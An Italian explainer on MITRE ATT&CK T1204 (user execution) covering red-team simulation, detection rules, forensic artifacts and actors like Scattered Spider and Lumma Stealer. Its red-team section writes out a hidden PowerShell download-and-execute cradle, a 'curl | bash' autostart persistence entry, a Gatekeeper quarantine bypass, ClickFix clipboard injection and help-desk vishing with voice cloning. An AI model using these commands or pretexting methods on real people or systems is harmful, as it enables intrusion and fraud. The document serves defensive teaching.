Esecuzione Utente: User Execution (T1204)

In un red team engagement autorizzato, T1204 si declina in scenari che replicano fedelmente le catene reali osservate in campagne come Water Curupira Pikabot Distribution. Il primo asse operativo è la costruzione di lure convincenti: documenti Office con macro, file ISO/IMG con LNK annidati (pattern usato da Raspberry Robin), oppure la tecnica ClickFix resa celebre da Lumma Stealer, dove un finto CAPTCHA istruisce la vittima a premere Win+R, incollare (Ctrl+V) un payload PowerShell già copiato negli appunti tramite JavaScript, e premere Invio.

Per la generazione dei payload documentali, Maldev Academy toolkits, donut (open source) per la conversione di PE in shellcode e Nim/Rust loaders rappresentano lo stato dell'arte. Su Windows, un tipico comando di secondo stadio incapsulato in un LNK potrebbe invocare powershell.exe -nop -w hidden -enc dove il blocco codificato scarica lo stage successivo tramite IEX (New-Object Net.WebClient).DownloadString(...). Per simulare la clipboard hijack di Lumma, uno snippet JavaScript su una landing page usa navigator.clipboard.writeText() per iniettare il comando.

Sul fronte del delivery, GoPhish (open source) resta il framework di riferimento per campagne di phishing simulato, mentre Evilginx3 (open source) permette di replicare gli attacchi AiTM con bypass MFA usati da Scattered Spider. Per la parte di vishing e social engineering vocale — vettore preferito da Scattered Spider contro help desk aziendali — la preparazione include script di pretexting, spoofing del CLI tramite servizi VoIP e, in scenari autorizzati, l'uso di voice cloning con strumenti come ElevenLabs (freemium).

Una catena realistica su macOS parte da un DMG scaricato che contiene un'app non firmata; la vittima viene istruita a bypassare Gatekeeper via xattr -d com.apple.quarantine /Applications/FakeApp.app prima di eseguirla. Su Linux, uno script .desktop con Exec=bash -c 'curl <endpoint> | bash' in ~/.config/autostart garantisce persistenza dopo il primo lancio.

Per i test contro help desk in stile Scattered Spider, l'obiettivo è ottenere l'installazione di RMM legittimi come AnyDesk, ScreenConnect o TeamViewer (tutti freemium). La procedura simulata prevede una chiamata al service desk fingendosi un dipendente, la richiesta di reset MFA o l'induzione all'esecuzione di un installer .msi firmato. Atomic Red Team (open source) fornisce test T1204.001 e T1204.002 pronti per validare la detection senza sviluppare payload custom.

La detection di T1204 ruota attorno alla catena causale descritta in DET0478: un'applicazione user-facing genera un evento di apertura, viene creato un file in un percorso scrivibile dall'utente, il processo padre genera un LOLBIN e infine si osserva egress di rete dalla stessa lineage. La finestra di correlazione tipica è di 15 minuti per Windows, 5–20 minuti per Linux, 10–30 minuti per macOS.

Su Windows le fonti chiave sono Sysmon (open source) — in particolare EventID 1 (process creation), EventID 3 (network connection), EventID 11 (file create) — insieme al Security log EventID 4688 con command line auditing abilitato. La regola cardine cerca processi padre in un allowlist ad alto rischio (winword.exe, excel.exe, powerpnt.exe, acrord32.exe, browser Chromium/Firefox, 7zFM.exe, winrar.exe, explorer.exe) che generano figli LOLBIN (powershell.exe, cmd.exe, wscript.exe, cscript.exe, mshta.exe, rundll32.exe, regsvr32.exe, msiexec.exe, curl.exe, bitsadmin.exe, expand.exe, tar.exe).

Una query Splunk di esempio filtra su ParentImage nell'high-risk set e Image nel LOLBIN set, con join su EventID=3 per correlare l'egress verso IP non presenti nell'allowlist dei CDN aziendali. I percorsi utente da monitorare per la creazione di eseguibili includono %USERPROFILE%\Downloads, %TEMP%, %APPDATA%*, la cache di OneDrive/Teams e le cartelle di startup di Office.

Per intercettare la tecnica ClickFix di Lumma Stealer è cruciale un'alert dedicata: explorer.exe come padre di powershell.exe con command line contenente pattern Base64 lunghi è un indicatore ad altissima confidenza, poiché replica il flusso Win+R della vittima. Analogamente, la creazione di scheduled task o l'invocazione di AnyDesk.exe, ScreenConnect.ClientService.exe su asset che non hanno storicamente ospitato RMM segnala uno scenario tipo Scattered Spider.

Su Linux la telemetria si costruisce con auditd e regole su execve, integrate da Sysmon for Linux (open source) o Falco (open source). Le shell (bash, zsh, python, node) figlie di browser o archiver, unite a chiamate connect() verso IP esterni, formano la baseline di detection. Su macOS l'unified log (log stream --predicate) e osquery (open source) forniscono visibilità su osascript, quarantine attributes anomali ('0081') e app aperte senza il flag com.apple.quarantine.

I falsi positivi principali arrivano da updater legittimi (Chrome, Edge, Adobe), workflow DevOps che invocano curl da script, e installazioni software autorizzate. La tuning richiede allowlist di domini corporate, hash di installer approvati e whitelisting per identità DevOps. Sul piano preventivo, l'attivazione delle ASR rules di Microsoft Defender (M1040) blocca alla radice la catena Office → child process.

L'analisi forense di un incidente T1204 ricostruisce un percorso che parte dall'interazione umana e attraversa filesystem, registro e rete. La timeline forense si ancora tipicamente su tre pilastri: l'artefatto di consegna (email, download browser), l'evidenza di esecuzione utente e le tracce di post-exploitation.

Su Windows i primi artefatti da raccogliere sono i Prefetch files in C:\Windows\Prefetch, che documentano prima esecuzione, path e conteggio di lanci per binari come powershell.exe, mshta.exe o installer sospetti. Le ShimCache (SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache) e AmCache (C:\Windows\AppCompat\Programs\Amcache.hve) confermano l'esistenza del binario anche se successivamente rimosso. Per l'attività browser, la cache di Chrome/Edge (History, Downloads SQLite database in %LOCALAPPDATA%\Google\Chrome\User Data\Default) rivela l'URL sorgente del payload e il timestamp di download.

L'attributo Zone.Identifier dell'Alternate Data Stream — leggibile con Get-Item -Stream Zone.Identifier o con NirSoft AlternateStreamView (gratuito) — indica ZoneId=3 per file provenienti da Internet, elemento decisivo per dimostrare la catena phishing → esecuzione. I JumpList (%APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations) e i LNK file parsing con LECmd di Eric Zimmerman (open source) tracciano quali documenti l'utente ha effettivamente aperto — cruciale per Raspberry Robin, che si basa proprio su LNK malevoli.

Per la tecnica ClickFix di Lumma Stealer l'artefatto patognomonico è la chiave HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU, che memorizza gli ultimi comandi digitati nella finestra Esegui: la presenza di stringhe Base64 lunghe o riferimenti a powershell -enc è evidenza diretta dell'interazione utente. PowerShell ScriptBlock logging (EventID 4104 in Microsoft-Windows-PowerShell/Operational) e Transcription logs ricostruiscono il payload completo.

Per la campagna Water Curupira Pikabot Distribution, gli IoC forensi includono attachment email preservati nella OST/PST dell'utente, file temporanei di Outlook in %LOCALAPPDATA%\Microsoft\Windows\INetCache\Content.Outlook e le successive tracce di Cobalt Strike beacon in memoria — analizzabili con Volatility 3 (open source) e i plugin malfind, cmdline, netscan.

Su Linux la timeline si costruisce con ~/.bash_history (attenzione al HISTTIMEFORMAT), i log auditd persistiti, i file .desktop in ~/.config/autostart e i timestamp inode di file in /tmp e ~/.cache. Plaso/log2timeline (open source) automatizza la super-timeline. Su macOS l'unified log estratto con log collect e analizzato con Console.app o log show --predicate 'eventMessage contains "osascript"', insieme al database quarantine (~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2), documenta ogni file scaricato e l'app che lo ha aperto.

Il panorama degli attori che investono su T1204 riflette una tendenza netta: sempre più gruppi trattano l'utente come vettore primario, spesso preferendolo agli exploit tecnici. I due profili documentati da MITRE per questa tecnica illustrano approcci complementari ma convergenti nel risultato.

LAPSUS$ (G1004) ha industrializzato l'insider recruitment: il gruppo contatta direttamente dipendenti o contractor delle organizzazioni bersaglio offrendo compensi in cambio di credenziali valide e — elemento distintivo — dell'approvazione attiva del prompt MFA associato. In alternativa, convince l'insider a installare software di remote management su una workstation aziendale, ottenendo così accesso a un sistema già autenticato al dominio. Questo modello ha permesso al gruppo intrusioni ad alto profilo contro aziende tech, dimostrando che nessun controllo MFA regge di fronte a un utente cooperante. Il vettore T1204 in LAPSUS$ si fonde di fatto con abuso di account validi (T1078) e trusted relationship (T1199).

Scattered Spider (G1015) ha portato al livello successivo il social engineering vocale contro il service desk. Il gruppo impersona staff IT o helpdesk interni chiamando gli utenti per istruirli a installare tool RMM commerciali — AnyDesk, ScreenConnect, TeamViewer, Splashtop — ottenendo così initial access senza malware custom e con footprint minimo per l'EDR. La stessa metodologia viene applicata al contrario: gli attaccanti chiamano l'help desk fingendosi dipendenti per ottenere reset di password o dispositivi MFA. Le campagne di Scattered Spider hanno colpito settori retail, casino/hospitality e telecom, spesso come preludio a deployment ransomware (ALPHV/BlackCat).

Sul fronte malware, Raspberry Robin (S1130) rappresenta il ritorno dei worm veicolati via USB combinati con LNK, evolvendosi in un access-broker utilizzato da molteplici affiliati ransomware. Lumma Stealer (S1213) ha reso mainstream la tecnica ClickFix: fake CAPTCHA che istruiscono la vittima a incollare comandi PowerShell tramite Win+R, bypassando qualsiasi controllo su download di eseguibili. Questo pattern ha generato in pochi mesi un'ondata di infostealer che riutilizzano lo stesso lure, minando la fiducia degli utenti nei prompt di sicurezza legittimi.

La campagna Water Curupira Pikabot Distribution (C0037), attiva per tutto il 2023, ha distribuito Pikabot via allegati email in una filiera legata al deployment di BlackBasta ransomware. Sovrapposizioni tecniche con QakBot — smantellato pochi mesi prima — suggeriscono continuità operativa dello stesso ecosistema criminale, con delivery paralleli di DarkGate e IcedID verso lo stesso obiettivo finale: cifratura e doppia estorsione.

Il trend consolidato è la convergenza tra crimeware finanziariamente motivato e tecniche di manipolazione una volta appannaggio di APT statali. La difesa richiede riconoscere che T1204 non è più una tecnica "soft" ma il fulcro operativo di gran parte delle intrusioni moderne.

MITRE ATT&CK: tecnica T1204, gruppi G1004 (LAPSUS$), G1015 (Scattered Spider), software S1130 (Raspberry Robin), S1213 (Lumma Stealer), campagna C0037 (Water Curupira Pikabot Distribution), mitigazioni M1017, M1021, M1031, M1033, M1038, M1040, detection DET0478 (AN1314-AN1318). Framework MITRE D3FEND per mapping difensivo. Le indicazioni su tool operativi (Sysmon, auditd, Falco, Volatility, Plaso, LECmd, GoPhish, Evilginx3, Atomic Red Team, osquery) derivano da conoscenza professionale di cybersecurity verificata su documentazione ufficiale dei rispettivi progetti.